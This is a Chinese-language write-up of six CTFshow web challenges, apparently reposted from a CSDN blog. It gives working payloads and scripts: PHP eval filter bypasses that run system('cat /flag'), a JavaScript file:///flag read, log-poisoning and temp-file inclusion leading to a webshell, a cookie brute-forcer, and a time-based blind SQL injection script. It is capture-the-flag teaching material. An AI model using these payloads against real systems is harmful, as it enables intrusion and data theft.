CTFshow 36D杯 web系列

0x01 WEB_你取吧

题目源码

<?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
    if (preg_match ('/' . $blacklisted . '/im', $code)) {
        die('nonono');
    }
}
eval("echo($code);");
?>

非预期解1:
题目是一个命令执行绕过的题,但是根据黑名单我们发现没法用异或或者取反绕过,但是可以用自增。直接给出大神的payload(相当于一句话eval($_POST['_'])),然后就是使用一句话直接POST _=system(‘cat /flag’)

code=1);$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);(1

非预期解2:
既然没有限制我们用$[]那我们直接用数组下标取出黑名单中的值即可。
比如$_[0]=a,$_[1]=b。那么我们就可以用点号将单个字符连接构成相应的函数进行利用。
我们最终的目的是要构造出如下语句
$__='system';$___='ls';$__($___);
这里给出一个简单的拼接脚本
输出想用的函数即可得到相应的连接字符

s=['a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^']
word=input()
code=''
for j in word:
        if j in s:
            code+='$_['+str(s.index(j))+'].'
        else:
            code+="'"+j+"'"+"."
print(code)

'system'=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11]
'ls /'=$_[13].$_[18].' /'

查看根目录下的文件(system(‘ls /’))
1);$__=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11];$___=$_[13].$_[18].' /';$__($___);(1
打开flag文件(system(‘cat /flag’))
1);$__=$_[18].$_[24].$_[18].$_[19].$_[4].$_[11];$___=$_[2].$_[0].$_[19].' '.'/'.$_[5].$_[13].$_[0].$_[6];$__($___);(1

预期解
题中的代码给了$hint,那我们读取看看
payload:code=${$_[7].$_[8].$_[12].$_[19]}
解密base64得到phpjiami压缩包和hint.php,访问得到压缩包。是一个混淆后的php文件,那我们直接尝试解密。解密php脚本如下

<?php

function decrypt($data, $key)
{
    $data_1 = '';
    for ($i = 0; $i < strlen($data); $i++) {
        $ch = ord($data[$i]);
        if ($ch < 245) {
            if ($ch > 136) {
                $data_1 .= chr($ch / 2);
            } else {
                $data_1 .= $data[$i];
            }
        }
    }
    $data_1 = base64_decode($data_1);
    $key = md5($key);
    $j = $ctrmax = 32;
    $data_2 = '';
    for ($i = 0; $i < strlen($data_1); $i++) {
        if ($j <= 0) {
            $j = $ctrmax;
        }
        $j--;
        $data_2 .=  $data_1[$i] ^ $key[$j];
    }
    return $data_2;
}

function find_data($code)
{
    $code_end = strrpos($code, '?>');
    if (!$code_end) {
        return "";
    }
    $data_start = $code_end + 2;
    $data = substr($code, $data_start, -46);
    return $data;
}

function find_key($code)
{
    // $v1 = $v2('bWQ1');
    // $key1 = $v1('??????');
    $pos1 = strpos($code, "('" . preg_quote(base64_encode('md5')) . "');");
    $pos2 = strrpos(substr($code, 0, $pos1), '$');
    $pos3 = strrpos(substr($code, 0, $pos2), '$');
    $var_name = substr($code, $pos3, $pos2 - $pos3 - 1);
    $pos4 = strpos($code, $var_name, $pos1);
    $pos5 = strpos($code, "('", $pos4);
    $pos6 = strpos($code, "')", $pos4);
    $key = substr($code, $pos5 + 2, $pos6 - $pos5 - 2);
    return $key;
}

$input_file = $argv[1];
$output_file = $argv[1] . '.decrypted.php';

$code = file_get_contents($input_file);

$data = find_data($code);
if (!$code) {
    echo '未找到加密数据', PHP_EOL;
    exit;
}

$key = find_key($code);
if (!$key) {
    echo '未找到秘钥', PHP_EOL;
    exit;
}

$decrypted = decrypt($data, $key);
$uncompressed = gzuncompress($decrypted);
// 由于可以不勾选代码压缩的选项,所以这里判断一下是否解压成功,解压失败就是没压缩
if ($uncompressed) {
    $decrypted = str_rot13($uncompressed);
} else {
    $decrypted = str_rot13($decrypted);
}
file_put_contents($output_file, $decrypted);
echo '解密后文件已写入到 ', $output_file, PHP_EOL;

用法 php 该解密脚本 带解密的php文件例如 php decrypt.php encrypt.php
解密后即可得到hint.php的内容,直接利用里面的一句话即可

0x02 WEB_RemoteImageDownloader

考点: js读本地文件
借鉴大神们的代码
在自己服务器创建html页面并添加如下js代码,接着在题目的输入框中写入服务器上该页面的地址即可

function reqListener () {
    var encoded = encodeURI(this.responseText);
    var b64 = btoa(this.responseText);
    var raw = this.responseText;
    document.write('<iframe src="b64"></iframe>');
} 
var oReq = new XMLHttpRequest(); 
oReq.addEventListener("load", reqListener); 
oReq.open("GET", "file:///flag"); 
oReq.send();

0x03 WEB_ALL_INFO_U_WANT

根据提示扫描后台目录得到 index.php.bak查看源码,是文件包含漏洞
解法1:日志文件包含
因为是nginx的日志文件在 /var/log/nginx/access.log
直接包含尝试可行,接着将一句话写入UA,蚁剑连接即可。
但是发现flag隐藏在/etc的文件夹下
那我们直接查找带有flag字符的文件就好啦
grep -r "flag" *
* : 表示当前目录所有文件,也可以是某个文件名
-r 是递归查找
这里再给出其他大神提供的方法
find /etc -name "*" | xargs grep "flag"
解法2:临时文件包含
上传一句话并利用死循环,防止脚本执行结束后删除临时文件
怎么产生死循环呢,直接包含自身就可以了

<html>
<body>
<form action="https://a0d685b2-4404-43d4-ace2-32935120f010.chall.ctf.show/all_info_u_want.php?file=all_info_u_want.php&all_info_i_want" method="POST" enctype="multipart/form-data">
<input type="file" name="file" value="选择文件">
<input type="submit" name="submit" value="上传">
</form>
</body>
</html>

在这里插入图片描述
接着直接包含该临时文件就可以了

0x04 WEB_WUSTCTF_朴实无华_Revenge

level1
要求输入的字符不是回文,但是intval($num) = intval(strrev($num));
因为intval的特性,level1就有很多方法绕过了
举几个例子 -0, 0- , 1.10 , 0. , .0
level2
要求$md5==md5(md5($md5))根据php弱类型比较的漏洞,直接跑脚本使得
0e连接上一个数构成的字符串,进行两次md5之后依然是0e开头,且全部都是数字

import hashlib
def md5(s):
    return hashlib.md5(s.encode()).hexdigest()
for i in range(10**30):
    i='0e'+str(i)
    result=md5(md5(i))
    if result[0:2]=='0e' and  result[2:].isnumeric():
        print(i)

跑了大概一个半小时 结果是0e1138100474

level3
过滤了空格可以用%09代替,过滤了关键字可以加\绕过
payload:c\at%09/flag

0x05 WEB_给你shell

右键查看网页源代码得到php源码
目的很简单,输入的secret的md5是$flag的md5
但是题目用的弱比较
在网站上输入?give_me_shell
得到了 $flag的逐位与0xC0与的结果,其中为0的则代表md5值为0-9中的,为64的则代表是a-f中的
因为前三位均为0说明$flag的md5的前三位为数字第四位为字母,
那我们直接爆破即可了

import requests
url = "https://23df1ff9-39b7-442d-9b9d-fca6ebdaff47.chall.ctf.show/?give_me_shell"
s = requests.session()
for i in range(10):
        for j in range(10):
                for k in range(10):
                        headers = {
                                'cookie':'secret={"secret": '+str(i)+str(j)+str(k)+'}'		
			}
                        res = s.get(url,headers = headers)
                        if "here is your" in res.text:
                                print(headers)
                                print(res.text)

得到115,所以直接修改cookie中secret的值为{“secret”:115}即可
得到 w3b5HeLLlll123.php,访问发现又是一个代码审计
通过测试发现过滤了单双引号,括号,反引号,字符 f 以及一些常用函数,既然题目提示我们 flag在 /flag.txt中,那个就应该是要读取文件内容了,既然括号不能用,那就只有使用几个不需要括号的函数了 比如 echo require,因为反引号过滤了,显然echo没有价值了,那个就只有 require了。
题目中没有过滤掉~,那个我们就可以构造文件名
首先读取 /flag.txt中的内容
?code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>
提示flag在/flag中
payload:?code=]=1?><?=require~%d0%99%93%9e%98?>

0x06 WEB_Login_Only_For_36D

经过测试用户名中只要有admin即可进行注入,
猜测sql语句为select * from users where username='$username' and password='$password'
因为过滤了引号但是留了注释符,那么我们可以用\将单引号转义
构成如下语句
select * from users where username='\' and password='||1#'
但是发现没能登录成功,看来我们需要将密码爆破出来了
经过手工尝试,发现密码字段为password并且长度为15
没有过滤if可以使用时间盲注,但是过滤了substr和ascii,我们可以right和mid代替,脚本如下

import requests
url="https://5bbdd868-4f7e-4a8e-b209-3533bea0182d.chall.ctf.show/"
k="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
flag=""
for i in range(6,16):
    print(i)
    i=14
    
    for j in k:
        j=ord(j)
        data={
            'username':'admin\\',
            'password':'^if(ord(right(password,{0}))like({1}),sleep(2),1)#'.format(i,j)
            }
        #print(data['password'])
        try:
            r=requests.post(url,data=data,timeout=(2,2))
        except:
            flag+=chr(j)
            print(flag)
            break

登录成功即可得到flag,但是需要将得到的密码逆置
ps:需要根据自己网络进行延时的调整,不然可能会不准确

猜你喜欢

转载自blog.csdn.net/miuzzx/article/details/105929357